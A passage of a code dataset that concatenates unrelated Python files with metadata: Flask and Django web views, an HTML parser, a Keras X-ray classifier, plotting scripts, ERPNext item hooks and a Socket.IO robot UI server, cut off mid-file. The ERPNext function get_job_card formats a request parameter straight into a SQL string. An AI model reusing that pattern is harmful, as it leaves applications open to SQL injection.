return redirect(url_for('.index'))\n form = RegistrationForm()\n if request.method == 'POST' and form.validate_on_submit():\n user = User(username=form.username.data, email=form.email.data)\n user.set_password(form.password.data)\n db.session.add(user)\n db.session.commit()\n flash('Congratulations, you are now a registered user!')\n return redirect(url_for('.login'))\n return render_template('register.html', title='Register', form=form)\n\n\n@admin.route('/post_fact', methods=['GET', 'POST'])\n@login_required\ndef post_fact():\n form = PostFactForm()\n\n if form.validate_on_submit():\n post = Post(user_id=current_user.id,\n header=form.header.data,\n title=form.title.data,\n title_url=form.title_url.data,\n image_url=form.image_url.data,\n body=form.body.data)\n db.session.add(post)\n db.session.flush()\n\n for fact in form.additional_facts.data:\n additionalFact = AdditionalFact(post_id=post.id,\n title=fact['title'],\n text=fact['text'],\n is_long=fact['is_long'])\n db.session.add(additionalFact)\n\n for tag in form.tag_buttons.data:\n tagButton = TagButton(post_id=post.id, title=tag['title'], url=tag['url'])\n db.session.add(tagButton)\n\n\n db.session.commit()\n return redirect(url_for('.facts'))\n\n else:\n flash(form.errors)\n\n return render_template('post_fact.html', title='Post an LGBTQ Fact', form=form)\n\n\n@admin.route('/import_csv', methods=['GET', 'POST'])\n@login_required\ndef import_csv():\n form = ImportCSVFileForm()\n\n if form.validate_on_submit():\n additional_fact_count = 3\n tag_button_count = 3\n\n file = request.files[form.csv_file.name]\n stream = io.StringIO(file.stream.read().decode(\"UTF8\"), newline=None)\n csv_input = csv.DictReader(stream)\n\n for row in csv_input:\n if row['completed'] == 'TRUE':\n post = Post(user_id=current_user.id,\n header=row['header'],\n title=row['title'],\n title_url=row['title_url'],\n image_url=row['image_url'],\n body=row['body'])\n db.session.add(post)\n db.session.flush()\n\n for index in range(1, additional_fact_count + 1):\n if row['fact_title_' + str(index)] != None:\n additionalFact = AdditionalFact(post_id=post.id,\n title=row['fact_title_' + str(index)],\n text=row['fact_text_' + str(index)])\n db.session.add(additionalFact)\n\n for index in range(1, tag_button_count + 1):\n if row['button_title_' + str(index)] != None:\n tagButton = TagButton(post_id=post.id,\n title=row['button_title_' + str(index)],\n url=row['button_url_' + str(index)])\n db.session.add(tagButton)\n\n db.session.commit()\n\n return redirect(url_for('.facts'))\n\n else:\n flash(form.errors)\n\n return render_template('import_csv.html', title='aquabot | CSV Import', form=form)\n\n@admin.route('/logout')\ndef logout():\n logout_user()\n return redirect(url_for('.index'))\n","sub_path":"aquabot/admin/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"262924429","text":"from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.main),\n url(r'^address/', views.address),\n url(r'^cart/', views.cart),\n url(r'^catalog/', views.catalog),\n url(r'^contacts/', views.contacts),\n url(r'^payments/', views.payments),\n url(r'^product/', views.product),\n url(r'^search/', views.catalog),\n url(r'^srresnot', views.srresnot),\n url(r'^tmi/', views.tmi),\n url(r'^tml/', views.tml),\n url(r'^profile/', views.profile),\n url(r'^changeprofile/', views.changeprofile),\n url(r'^addtocart/', views.addtocart),\n url(r'^islogin/', views.islogin),\n url(r'^splitsearch/', views.splitsearch),\n]\n","sub_path":"Yabloko_shop/main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"135243665","text":"from HTMLParser import HTMLParser, HTMLParseError\n\nclass ScoreParser(HTMLParser):\n def __init__(self, file):\n HTMLParser.__init__(self);\n self.inGame = False;\n self.inTeam1 = False;\n self.inTeam2 = False;\n self.inScoreTeam1 = False;\n self.inScoreTeam2 = False;\n self.inScore = False;\n self.inLiveGame = False;\n self.inPreGame = False;\n self.f = file;\n self.inEm = False;\n\n def handle_starttag(self, tag, attrs):\n if (tag == \"tr\"):\n for attr in attrs:\n if (attr[0] == \"class\" and len(attr) > 1):\n if (attr[1].find(\"game link\") != -1):\n self.inGame = True;\n if (attr[1].find(\"game live link\") != -1):\n self.inLiveGame = True;\n if (attr[1].find(\"game pre link\") != -1):\n self.inPreGame = True;\n\n if (tag == \"td\" and (self.inGame or self.inLiveGame or self.inPreGame)):\n for attr in attrs:\n if (attr[0] == \"class\" and len(attr) > 1):\n if (attr[1].find(\"away\") != -1):\n self.inTeam1 = True;\n if (attr[1].find(\"home\") != -1):\n self.inTeam2 = True;\n if (attr[1].find(\"score\") != -1):\n self.inScore = True;\n\n if (tag == \"span\" and (self.inGame or self.inLiveGame or self.inPreGame) and self.inScore):\n for attr in attrs:\n if (attr[0] == \"class\" and len(attr) > 1):\n if (attr[1].find(\"away\") != -1):\n self.inScoreTeam1 = True;\n if (attr[1].find(\"home\") != -1):\n self.inScoreTeam2 = True;\n\n if (tag == \"em\" and (self.inTeam1 or self.inTeam2)):\n self.inEm = True;\n\n def handle_endtag(self, tag):\n if (tag == \"tr\"):\n self.inGame = False;\n self.inLiveGame = False;\n self.inPreGame = False;\n if (tag == \"td\"):\n self.inTeam1 = False;\n self.inTeam2 = False;\n self.inScore = False;\n if (tag == \"em\"):\n self.inEm = False;\n if (tag == \"span\"):\n self.inScoreTeam1 = False;\n self.inScoreTeam2 = False;\n\n def handle_data(self, data):\n data = data.strip();\n if (self.inGame or self.inLiveGame or self.inPreGame):\n if self.inTeam1 and self.inEm:\n self.f.write(data + \";\");\n if self.inTeam2 and self.inEm:\n self.f.write(data + \";\");\n if (self.inLiveGame):\n self.f.write(\"live//\");\n elif (self.inGame):\n self.f.write(\"completed//\");\n elif (self.inPreGame):\n self.f.write(\"pregame//\");\n if self.inScoreTeam1:\n self.f.write(data + \";\");\n if self.inScoreTeam2:\n self.f.write(data + \";\");\n","sub_path":"htmlParser.py","file_name":"htmlParser.py","file_ext":"py","file_size_in_byte":3049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"365197406","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jul 25 10:53:42 2018\r\n\r\n@author: CAZ2BJ\r\n\"\"\"\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport sys\r\nsys.path.append('U:/!Python')\r\nimport os\r\nimport pandas as pd\r\nimport functions_io as fio\r\nimport functions_csv as fcsv\r\nimport functions_plot as fplot\r\nimport functions_excel as fexcel\r\nimport functions_data_processing as fdp\r\n\r\ncwd = fio.get_script_dir(__file__) \r\nhydra_name = \"hydra_after_test\"\r\nresults_dir = 'results'\r\nincluded_dirs_keywords = ['samples']\r\nexcluded_dirs_keywords = ['~', 'backup']\r\n\r\n\r\n\r\n# creating dir structure for results\r\nos.makedirs('{}/{}'.format(cwd, results_dir), exist_ok=True)\r\n\r\n\r\nabs_paths = fio.get_files(cwd, extension = ['xlsm'], contains = included_dirs_keywords, not_contains = excluded_dirs_keywords, print_path=False)\r\nroot_dirs = fio.get_parts_of_paths_list(abs_paths, -3)\r\nsample_dirs = fio.get_parts_of_paths_list(abs_paths, -2)\r\nfilenames = fio.get_parts_of_paths_list(abs_paths, -1)\r\n# hydra file\r\ntry:\r\n hydra_abs_path = fio.get_files(cwd, extension = ['xlsx'], contains = [hydra_name], not_contains = ['~'], print_path=False)\r\n hydra_frame = pd.read_excel(hydra_abs_path[0]) \r\nexcept Exception: \r\n print('{}{}{}'.format('file: ', hydra_name, ' not found'))\r\n input(\">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\")\r\n raise\r\ntry: \r\n hydra_frame = hydra_frame[['Ident No.', '066_Diff_BMP_VIS_P_Mess_6_0bar_MP4_Sp1', '006_BerechnetesHubvolumen_6_0bar_3_Sp1']] \r\nexcept Exception: \r\n print('{}{}{}'.format('required column in file :', hydra_name, ' missing'))\r\n input(\">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\")\r\n raise\r\n \r\nhydra_samples_sorted = sorted(list(hydra_frame['Ident No.'])) \r\nsamples_sorted = sorted(sample_dirs)\r\n\r\n# controll for equality between samples and hydra samples \r\n \r\nif len(samples_sorted) != len(hydra_samples_sorted): \r\n print('{}'.format('not the same number of samples in data and hydra'))\r\n input(\">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\") \r\n raise \r\nfor sam, ple in zip(samples_sorted, hydra_samples_sorted):\r\n if sam == ple:\r\n pass\r\n else:\r\n print('{}'.format('files not equal'))\r\n input(\">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\") \r\n raise\r\nprint('All data files found and valid') \r\ninput(\"Press ENTER to continue..\") \r\n\r\n\r\n\r\nc_map = fplot.C_map()\r\nc_map\r\n\r\n\r\nvolumetric_constant = 31.75\r\n\r\n\r\nsamples = sorted([ a for a in hydra_frame['Ident No.'].unique()])\r\n\r\nprint('sample', ' ' , 'volumetric', ' ' , 'p_diff')\r\nfor sample in samples:\r\n p_diff = hydra_frame.loc[(hydra_frame['Ident No.'] == sample),['066_Diff_BMP_VIS_P_Mess_6_0bar_MP4_Sp1']].values[0]\r\n volumetric = hydra_frame.loc[(hydra_frame['Ident No.'] == sample),['006_BerechnetesHubvolumen_6_0bar_3_Sp1']].values[0] \r\n plt.plot( volumetric/volumetric_constant -1 , p_diff , color = c_map.get_color(False), marker = 'o', markeredgecolor = 'k')\r\n fplot.add_label(sample, c_map.get_color(True),0, '-', 'o' )\r\n \r\n print(sample, ' ' , volumetric/volumetric_constant -1, ' ' , p_diff)\r\n\r\n\r\nx = np.linspace(-0.08,0.08,20000)\r\n\r\nover_200_ppm = 6372549.02 * x**6\t-800150.8296 * x**5 + 19541.8552 * x**4 + 562.4057315 * x**3 -18.20980735 * x**2 -9.135497395 * x**1 + 1.300099753 * x**0\r\nover_10_ppm = 4017242.862 * x**6 -438603.9335 * x**5\t-8783.299926 * x**4 +\t1736.291492 * x**3 + 8.192154187 * x**2\t-10.47552085 * x**1 + 0.990573908 * x**0\r\n\r\nunder_200_ppm = -59264.74327 * x**6\t-4554.65587\t* x**5 + 335.2822676 * x**4 + 57.22096531 * x**3 + 2.013566176 * x**2 -8.579590974 * x**1 -0.383176295 * x**0\r\n\r\nunder_10_ppm = -169755.1637 * x**6 -13455.58466* x**5 + 3216.230457 * x**4 + 89.40620783 * x**3 -19.32913576 * x**2 -8.298948559 * x**1 -0.070463402 * x**0\r\n\r\naa = np.where(under_200_ppm < -0.5)[0][0]\r\n\r\nstart = np.where( (x >= -0.04) )[0][0]\r\nunder_200_ppm[start:aa] = -0.5\r\n\r\n\r\n#under_10_ppm[np.where(x > -0.04 and x < 0.04)] = -0.5\r\n\r\nfplot.modify_ticks(['-8%', '-4%', '-0%', '4%', '8%'], [-0.08,-0.04,0,0.04,0.08])\r\nplt.xlim(-0.08,0.08)\r\nplt.ylim(-1,1.5)\r\nplt.fill_between(x,-10, under_200_ppm, facecolor='red', alpha = 0.5)\r\nplt.fill_between(x,under_200_ppm, under_10_ppm, facecolor='g', alpha = 0.5)\r\nplt.fill_between(x,under_10_ppm, over_10_ppm, facecolor='green', alpha = 0.5)\r\nplt.fill_between(x,over_10_ppm, over_200_ppm, facecolor='g', alpha = 0.5)\r\nplt.fill_between(x,over_200_ppm, 10, facecolor='red', alpha = 0.5)\r\nplt.grid(color = 'k')\r\n\r\nplt.xlabel('Volumetric (compared to nominal)')\r\nplt.ylabel('p_diff [bar]')\r\n\r\nplt.savefig('{}/{}/{}'.format(cwd, results_dir, 'error_risk.png' ))\r\n\r\nprint()\r\ninput(\"press Enter to exit ;)\") \r\n\r\n\r\n \r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n ","sub_path":"calc_error_risk_map.py","file_name":"calc_error_risk_map.py","file_ext":"py","file_size_in_byte":4983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"215482936","text":"from keras.models import Sequential\nfrom keras.layers import Activation, Dense\nfrom keras.optimizers import Adam\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.applications.xception import Xception, preprocess_input\nfrom keras.models import load_model\nfrom keras.backend.tensorflow_backend import set_session\nimport keras.callbacks as kcall\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nimport cv2\n\nimport os\nprint(os.listdir(\"./chest_xray\"))\n\nconfig = tf.ConfigProto() #device_count = {'GPU': 0}\nconfig.gpu_options.allow_growth = True\nconfig.gpu_options.per_process_gpu_memory_fraction = 0.7\nset_session(tf.Session(config=config))\n\noutput_classes = 2\nlearning_rate = 0.0001\nimg_width, img_height,channel = 299, 299, 1\ntraining_examples = 1216\nbatch_size = 1\nepochs = 5\nresume_model = False\ntraining_data_dir = './chest_xray/train'\ntest_data_dir = './chest_xray/test'\nval_data_dir = './chest_xray/validation'\ntrained_model_dir = './chest_xray/pretreined_models/xception_weights_tf_dim_ordering_tf_kernels_notop.h5'\n\nif resume_model == False:\n ## Model Defination\n model = Sequential()\n model.add(Xception(weights=trained_model_dir , include_top=False,pooling = 'avg'))\n #model.add(Dense(units = 100 , activation = 'relu'))\n model.add(Dense(units=output_classes, activation='softmax'))\n\n model.layers[0].trainable = True\n\n model.compile(loss='categorical_crossentropy',\n optimizer=Adam(lr=learning_rate),\n metrics=['accuracy'])\n\n\n ## Image generator function for training and validation\n\n def preprocess_input(img):\n #img = cv2.cvtColor(img, cv2.COLOR_BGRA2GRAY)\n cv2.resize(img, (299,299))\n return img\n\n img_generator = ImageDataGenerator(preprocessing_function=preprocess_input)\n\n\n\n train_img_generator = img_generator.flow_from_directory(\n training_data_dir,\n target_size = (img_width,img_height),\n batch_size = batch_size,\n class_mode = 'categorical')\n\n val_img_generator = img_generator.flow_from_directory(\n val_data_dir,\n target_size = (img_width,img_height),\n class_mode = 'categorical')\n\n for i, layer in enumerate(model.layers):\n print('Layer: ',i+1,' Name: ', layer.name)\n\n## Callbacks for model training\nearly_stop = kcall.EarlyStopping(monitor='acc', min_delta=0.0001)\ntensorboard = kcall.TensorBoard(log_dir='./tensorboard-logs', write_grads=1, batch_size=batch_size)\n\n\nclass LossHistory(kcall.Callback):\n def on_train_begin(self, logs={}):\n self.losses = []\n self.acc = []\n\n def on_batch_end(self, batch, logs={}):\n self.losses.append(logs.get('loss'))\n self.acc.append(logs.get('acc'))\n\n\nhistory = LossHistory()\n\n## Training only the newly added layer\nif resume_model:\n model = load_model('chest_xray.h5')\nelse:\n model.fit_generator(train_img_generator,\n steps_per_epoch = training_examples // batch_size,\n epochs = epochs,\n validation_data = val_img_generator,\n\t\tvalidation_steps = 1,\n\t\tcallbacks=[early_stop,history])\n\ntest_img_generator = img_generator.flow_from_directory(\n test_data_dir,\n target_size = (img_width,img_height),\n class_mode = 'categorical',\n batch_size= batch_size,\n\t\t\t shuffle = False)\n\ntest_accu = model.evaluate_generator(test_img_generator,steps=624 // batch_size)\nprint('Accuracy on test data is:', test_accu[1])\nprint('Loss on test data is:', test_accu[0])\n\nplt.plot(history.losses,'b--',label='Training')\nplt.plot(len(history.losses)-1,test_accu[0],'go',label = 'Test')\n\nplt.xlabel('# of batches trained')\nplt.ylabel('Training loss')\n\nplt.title('Training loss vs batches trained')\n\nplt.legend()\n\nplt.ylim(0,1.2)\nplt.show()\n\nplt.plot(history.acc,'--',label= 'Training')\nplt.plot(len(history.acc)-1,test_accu[1],'go',label='Test')\n\nplt.xlabel('# of batches trained')\nplt.ylabel('Training accuracy')\n\nplt.title('Training accuracy vs batches trained')\n\nplt.legend(loc=4)\nplt.ylim(0,1.1)\nplt.show()","sub_path":"kernel1.py","file_name":"kernel1.py","file_ext":"py","file_size_in_byte":4101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"373150222","text":"#The saddle back search \n#EWD-934 http://www.cs.utexas.edu/users/EWD/ewd09xx/EWD934.PDF\n\"\"\"\n- If f(p, q) < z, since f is strict increasing, for all 0 ≤ y < q, we have f(p, y) < z. We can drop all points in the vertical line section (in red color);\n- If f(p, q) > z, then f(x, q) > z for all p < x ≤ z. We can drop all points in the horizontal line section (in blue color);\n- Otherwise if f(p, q) = z, we mark (p, q) as one solution, then both line sections can be dropped.\n\"\"\"\nclass Solution(object):\n def searchMatrix(self, matrix, target):\n \"\"\"\n :type matrix: List[List[int]]\n :type target: int\n :rtype: bool\n \"\"\"\n if not matrix or not matrix[0]:\n return False\n x, y = 0, len(matrix[0]) - 1\n while y >= 0 and x <= len(matrix)-1:\n v = matrix[x][y]\n if v < target:\n x += 1\n elif v > target:\n y -= 1\n else:\n return True\n return False\n\nmatrix = [\n [1, 3, 5, 7],\n [10, 11, 16, 20],\n [23, 30, 34, 50]\n]\ntarget = 11\nr = Solution().searchMatrix(matrix, target)\nprint(r)\n","sub_path":"search-a-2d-matrix.py","file_name":"search-a-2d-matrix.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"360127490","text":"import setuptools\n\nwith open('README.md') as f:\n long_description = f.read()\n\nsetuptools.setup(name='subarray',\n version='0.2',\n description='get 2D sub array slices from a large 2D array',\n author='Tasin Nawaz',\n author_email='tasin.buet@gmail.com',\n license='TN',\n url='https://github.com/tasin-megamind/subarray',\n long_description=long_description,\n long_description_content_type='text/markdown',\n packages=setuptools.find_packages(),\n include_package_data=True,\n install_requires=[\n ],\n zip_safe=False)\n\n","sub_path":"pypi_install_script/subarray-0.2.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"228407214","text":"def carga():\r\n lista = []\r\n for x in range(5):\r\n lista.append((input(\"Ingrese el nombre del pais: \"),int(input(\"Ingrese la cantidad de habitantes que tiene: \"))))\r\n return lista\r\n\r\ndef imprimir(lista: list):\r\n print(\"Los paises ingresados son:\")\r\n for x in lista:\r\n print(f\"Nombre: {x[0]} - Habitantes: {x[1]}\")\r\n\r\ndef mayor(lista: list):\r\n mayor = (0,0)\r\n for x in lista:\r\n if (x[1] > mayor[1]):\r\n mayor = x\r\n print(f\"El pais con mayor cantidad de habitantes es {mayor[0]} con {mayor[1]} habitantes\")\r\n\r\nlista = carga()\r\nimprimir(lista)\r\nmayor(lista)","sub_path":"guia_2/eje2_1.py","file_name":"eje2_1.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"90247033","text":"from Constants import *\nfrom math import *\nimport numpy as np\n#import matplotlib.pyplt as plt\n\n#Calculations of the Freuencies of the Qbits within a specific range\n\nomega12 = 0\nphi_bar12 = 0\nomega3 = 0\nphi_bar3 = 0\nfile12 = open(\"Lookup_tbl_12.dat\",\"w\")\nfile3 = open(\"Lookup_tbl_3.dat\",\"w\")\n\nfor i in range(40,1000):\n\tfor j in range(300,1000):\n\t\ti1 = i * 0.1\n\t\tj1 = j * 0.1\n\t\tomega12 = (1 / (hbar)) * sqrt(8 * E_CQ(j1) * (E_J(i1) + (4 * E_L(100e-9)))) * (1e-9) # frequencies in natural frequency units (Hertz)\n\t\tphi_bar12 = ((2*E_CQ(j1))/(E_J(i1) + (4 * E_L(100e-9))))**0.25 # strength No units\n\n\t\tomega3 = (1 / (hbar)) * sqrt(8 * E_CQ(j1) * (E_J(i1) + (8 * E_L(100e-9)))) * (1e-9)\n\t\tphi_bar3 = ((2*E_CQ(j1))/(E_J(i1) + (8 * E_L(100e-9))))**0.25\n\t\t\n\t\tfile12.write(str(E_J(i1)) + \" \" + str(E_CQ(j1)) + \" \" + str(omega12) + \" \" + str(phi_bar12) + \"\\n\")\n\t\tfile3.write(str(E_J(i1)) + \" \" + str(E_CQ(j1)) + \" \" + str(omega3) + \" \" + str(phi_bar3) + \"\\n\")\n\nfile12.close()\nfile3.close()","sub_path":"Functional code/LookUp Table/LookupTable.py","file_name":"LookupTable.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"316485349","text":"import frappe\nfrom erpnext.controllers.item_variant import make_variant_item_code\nfrom frappe.utils import strip\n\n\ndef autoname(doc, method):\n if doc.pni_material_type == \"Machinery\":\n pass\n elif doc.pni_material_type == \"Machine Design Item Code\":\n doc.item_code = \"-\".join((doc.main_category_code, doc.sub_category_code,\n doc.level_3_category_code, doc.item_manual_code))\n doc.name = doc.item_code\n else:\n if not doc.pni_item_code and not doc.variant_of:\n frappe.throw(\"PNI Item Code Mandatory \"+doc.item_code)\n if doc.pni_item_code:\n doc.item_code = doc.pni_item_code\n\n doc.item_code = strip(doc.item_code)\n doc.name = doc.item_code\n\n\ndef item_validate(doc, method):\n if doc.old_item_code == 'NA':\n return None\n else:\n get_item = frappe.get_all(\n 'Item', filters={'old_item_code': doc.old_item_code, 'name': [\"!=\", doc.name]}, fields=['name'])\n if get_item:\n frappe.throw(\"Old Item {0} already in Item {1}\".format(\n doc.old_item_code, get_item[0].name))\n doc.old_item_code = \"\"\n if doc.old_item_code == doc.name:\n frappe.throw(\"Same Item cannot be in Old Item\")\n doc.old_item_code = \"\"\n if not doc.is_stock_item:\n for raw in doc.item_defaults:\n if not raw.expense_account:\n frappe.throw(\n \"Expense Account is Mandatory in Item Default Table\")\n if doc.main_category and doc.sub_category and doc.level_3_category:\n item_group = frappe.get_value(\"Item Group\", {\n \"main_category\": doc.main_category, \"sub_category\": doc.sub_category, \"level_3_category\": doc.level_3_category})\n if item_group:\n doc.item_group = item_group\n else:\n doc.item_group = create_item_group(doc.main_category,\n doc.sub_category, doc.level_3_category)\n\n\ndef create_item_group(main_category, sub_category, level_3_category):\n doc = frappe.get_doc({\n \"doctype\": \"Item Group\",\n \"item_group_name\": main_category + \" \" + sub_category + \" \"+level_3_category,\n \"main_category\": main_category,\n \"sub_category\": sub_category,\n \"level_3_category\": level_3_category,\n \"parent_item_group\": \"Auto Group\"\n })\n doc.insert(ignore_permissions=True)\n return doc.name\n\n\n@frappe.whitelist()\ndef get_job_card(item, job_card_status):\n # Loss Time [ { (Setup Time) + (Total Completed Qty * Cycle Time) + (Inspection Time) } - {Total Time in Mins} ]\n if job_card_status == \"All\":\n job_card_status = \"\"\n else:\n job_card_status = \" and jc.status = '{status}' \".format(\n status=job_card_status)\n return frappe.db.sql(\"\"\"\n\t\tselect\n jc.docstatus,\n workstation.department,\n\t\t\tjc.workstation,\n jc.status,\n sum(jc.setup_time) as setup_time,\n sum(jc.pni_programme_cycle_time) as pni_programme_cycle_time,\n (sum(jc.setup_time) + sum(jc.total_completed_qty * jc.pni_programme_cycle_time ) + sum(jc.inspection_time) - sum(jc.total_time_in_mins) ) as loss_time,\n sum(jc.rework_time) as rework_time,\n sum(jc.inspection_time) as inspection_time,\n sum(jc.pni_rejected_qty) as pni_rejected_qty,\n sum(jc.pni_rework_qty) as pni_rework_qty,\n sum(jc.pni_setup_rejection_qty) as pni_setup_rejection_qty,\n\t\t\tsum(jc.for_quantity) as for_quantity,\n\t\t\tsum(jc.total_completed_qty) as total_completed_qty,\n (sum(jc.for_quantity) - sum(jc.total_completed_qty)) as ramaining_qty\n\t\tfrom \n `tabJob Card` as jc, `tabWorkstation` as workstation\n\t\twhere\n jc.workstation = workstation.name and\n\t\t\tjc.production_item = '{production_item}' and\n jc.docstatus <> 2\n {status}\n group by\n jc.workstation,jc.status,jc.docstatus\n\t\"\"\".format(production_item=item, status=job_card_status), as_dict=1)\n # return frappe.get_all(\"Job Card\", {\"production_item\": item, \"status\": job_card_status}, [\"workstation\", \"for_quantity\", \"total_completed_qty\", \" (for_quantity - total_completed_qty) as ramaining_qty\"])\n","sub_path":"pni_customization/utility/item_utility.py","file_name":"item_utility.py","file_ext":"py","file_size_in_byte":4297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"300040152","text":"import xadmin\n\nfrom .models import CollegeOrg,Teacher\n\n\nclass CollegeOrgAdmin(object):\n\n list_display = ['name', 'desc', 'click_nums', 'fav_nums', 'image', 'address', 'add_time']\n search_fields = ['name', 'desc', 'click_nums', 'fav_nums', 'image', 'address']\n list_filter = ['name', 'desc', 'click_nums', 'fav_nums', 'image', 'address', 'add_time']\n\n\nclass TeacherAdmin(object):\n\n list_display = ['college_org', 'name', 'work_years', 'address', 'points', 'click_nums', 'image', 'fav_nums', 'add_time']\n search_fields = ['college_org', 'name', 'work_years', 'address', 'points', 'click_nums', 'image', 'fav_nums']\n list_filter = ['college_org', 'name', 'work_years', 'address', 'points', 'click_nums', 'image', 'fav_nums', 'add_time']\n\n\nxadmin.site.register(CollegeOrg, CollegeOrgAdmin)\nxadmin.site.register(Teacher, TeacherAdmin)","sub_path":"apps/colleges/adminx.py","file_name":"adminx.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"651321334","text":"import sys\nsys.path.append('../')\nfrom config import config\nfrom flask_socketio import SocketIO, emit\nfrom engineio.payload import Payload\nfrom werkzeug.exceptions import HTTPException\nfrom flask import Flask, render_template,make_response,send_from_directory, request\nimport os\nimport logging\nimport json\nimport stateMachine\nfrom state import Events\nimport subprocess\nimport my_states\nimport os\nfrom urllib.parse import quote, unquote\nimport posix_ipc\nfrom threading import Thread\n\n__author__ = 'Vincent LAMBERT'\n\napp = Flask(__name__)\napp.config['DEBUG'] = False\napp.logger.disabled = True\nlog = logging.getLogger('werkzeug')\nlog.disabled = True\nPayload.max_decode_packets = 500\nsocketio = SocketIO(app, async_mode=None, logger=False, engineio_logger=False)\n\ndef init():\n global ui_languages\n global stateMachine\n with open(\"ui_language.json\", \"r\", encoding='utf-8') as read_file:\n ui_languages = json.load(read_file) \n thread_notification = Thread(target=catch_send_notification, args=(socketio,))\n thread_notification.setDaemon(True)\n thread_notification.start()\n stateMachine = stateMachine.StateMachine(socketio)\n\ndef load_coordinates(file_path):\n positions_list = []\n try:\n with open(file_path) as file:\n for line in file:\n if line != \"\":\n coords = list(map(float, line.split(\" \")))\n positions_list.append([coords[0],coords[1]])\n except OSError as e:\n return None\n return positions_list\n\ndef load_ai_list(dir_path):\n ia_list = []\n for file in os.listdir(dir_path):\n if file.endswith(\".conf\"):\n ia_list.append(file.split(\".conf\")[0])\n return ia_list\n\ndef load_field_list(dir_path):\n field_list = []\n for file in os.listdir(dir_path):\n if file.endswith(\".txt\"):\n field_list.append(unquote(file.split(\".txt\")[0]))\n return field_list\n\ndef get_other_field():\n current_field = subprocess.run([\"readlink\",\"../field.txt\"], stdout=subprocess.PIPE).stdout.decode('utf-8').replace(\"fields/\", \"\")[:-5]\n field_list = load_field_list(\"../fields\")\n if len(field_list)>=2:\n coords_other = []\n for field_name in field_list:\n if field_name != unquote(current_field):\n with open(\"../fields/\"+quote(field_name,safe=\"\")+\".txt\") as file:\n points = file.readlines()\n \n coords = list()\n for coord in points:\n coord = coord.replace(\"\\n\",\"\").split(\" \")\n coords.append([float(coord[1]),float(coord[0])])\n coords.append(coords[0])\n coords_other.append(coords)\n return coords_other\n return list()\n\ndef formattingFieldPointsForSend(corners):\n coords = list()\n\n for coord in corners:\n coords.append([coord[1],coord[0]])\n\n coords.append(coords[0])\n\n return coords\n\ndef catch_send_notification(socketio: SocketIO):\n try:\n posix_ipc.unlink_message_queue(config.QUEUE_NAME_UI_NOTIFICATION)\n except:\n pass\n\n notificationQueue = posix_ipc.MessageQueue(config.QUEUE_NAME_UI_NOTIFICATION, posix_ipc.O_CREX)\n \n ui_language = config.UI_LANGUAGE\n\n while True:\n try:\n notification = notificationQueue.receive(timeout=1)\n \n message_name = json.loads(notification[0])[\"message_name\"]\n message = ui_languages[message_name][ui_language]\n \n socketio.emit('notification', {\"message_name\":message_name,\"message\":message} , namespace='/broadcast', broadcast=True)\n except:\n continue\n\n@socketio.on('data', namespace='/server')\ndef on_socket_data(data):\n if \"type\" in data: \n if data[\"type\"] == \"joystick\" and str(stateMachine.currentState) in [\"WaitWorkingState\",\"CreateFieldState\"]:\n stateMachine.on_socket_data(data)\n elif data[\"type\"] == \"field\":\n stateMachine.on_event(Events.CREATE_FIELD)\n stateMachine.on_socket_data(data)\n elif data[\"type\"] == \"field_name\":\n stateMachine.on_socket_data(data)\n stateMachine.on_event(Events.VALIDATE_FIELD_NAME)\n elif data[\"type\"] == \"validerZone\":\n data[\"client_id\"] = request.sid\n stateMachine.on_socket_data(data)\n stateMachine.on_event(Events.VALIDATE_FIELD)\n elif data[\"type\"] == \"start\":\n if data[\"audit\"]:\n stateMachine.on_event(Events.START_AUDIT)\n else:\n stateMachine.on_event(Events.START_MAIN)\n elif data[\"type\"] == \"continue\":\n if data[\"audit\"]:\n stateMachine.on_event(Events.CONTINUE_AUDIT)\n else:\n stateMachine.on_event(Events.CONTINUE_MAIN)\n elif data[\"type\"] == \"stop\":\n stateMachine.on_event(Events.STOP)\n elif data[\"type\"] == \"allChecked\":\n stateMachine.on_socket_data(data)\n stateMachine.on_event(Events.LIST_VALIDATION)\n elif data[\"type\"] == \"wheel\":\n stateMachine.on_event(Events.WHEEL)\n elif data[\"type\"] == \"modifyZone\":\n stateMachine.on_socket_data(data)\n elif data[\"type\"] == \"getField\":\n stateMachine.on_socket_data(data)\n elif data[\"type\"] == \"getStats\":\n stateMachine.on_socket_data(data)\n elif data[\"type\"] == \"removeField\":\n if 